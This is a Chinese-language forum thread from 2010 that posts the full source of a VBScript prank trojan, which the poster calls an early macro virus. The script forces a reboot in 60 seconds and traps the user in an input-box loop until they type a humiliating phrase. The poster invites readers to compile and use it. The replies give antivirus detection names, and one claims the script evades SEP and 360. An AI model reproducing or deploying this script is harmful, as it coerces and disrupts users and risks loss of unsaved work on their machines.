早期的一种宏病毒（使用VB编写的）

显示全部楼层 · 发表于 2010-8-2 19:47:25

本病毒样本仅供参考
以下是病毒代码：
  on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,，不说就一分钟关你机,不信,试试、"" ",0 ,true
dim a
do while(a <> "猪是我")
a = inputbox ("说我是猪,就不关机，快沙，说 ""我是猪,""　","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,
loop
msgbox chr(13) + chr(13) + chr(13) + "哼`现在说了也没用`"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，"

这个是早期的一种宏病毒，可以让大伙交流一下！！有兴趣的可以进行编译和链接用下！！

显示全部楼层 · 发表于 2010-8-2 19:50:52

nod32 kill

显示全部楼层 · 发表于 2010-8-2 19:52:03

过SEP+360卫士

显示全部楼层 · 发表于 2010-8-2 19:52:44

VBS/Shutdown.AF （avira)

显示全部楼层 · 发表于 2010-8-2 19:52:48

avast!　VBS:Shut-A [Trj]

显示全部楼层 · 发表于 2010-8-2 21:45:48

看了这个代码我就知道很.....恶作剧程序。

显示全部楼层 · 发表于 2010-8-2 22:22:54

avast kills

显示全部楼层 · 发表于 2010-8-2 23:12:03

这是一个早期的宏病毒程序，以前在别人的电脑上发现的，收藏了！这个已经很古老了！！

显示全部楼层 · 发表于 2010-8-3 00:06:46

显示全部楼层 · 发表于 2010-8-3 00:46:20

Kaspersky - Trojan.VBS.Shutdown.ae

[病毒样本] 早期的一种宏病毒（使用VB编写的）